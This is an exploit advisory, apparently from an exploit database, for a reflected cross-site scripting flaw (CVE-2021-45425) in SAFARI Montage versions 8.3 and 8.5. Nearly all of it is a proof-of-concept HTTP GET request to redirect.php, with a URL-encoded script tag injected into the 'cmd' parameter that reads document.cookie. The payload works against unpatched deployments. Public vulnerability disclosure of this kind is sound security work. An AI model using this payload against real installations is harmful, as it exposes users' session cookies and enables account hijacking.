SAFARI Montage 8.5 - Reflected Cross Site Scripting Vulnerability

# Exploit Title: SAFARI Montage 8.5 - Reflected Cross Site Scripting (XSS)
# Exploit Author: Momen Eldawakhly - Cyber Guy - (Resecurity Inc)
# Vendor Homepage: https://www.safarimontage.com/
# Version: 8.3 and 8.5
# Tested on: Ubuntu Linux [Firefox]
# CVE: CVE-2021-45425

# Proof of Concept:

GET /redirect.php?cmd=invalid%27%22()%26%25%3C/body%3E%3CScRiPt%3Ealert(document.cookie)%3C/ScRiPt%3E&ret=3 HTTP/1.1
Host: vulnIP
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=SSSION; lang=en
Connection: close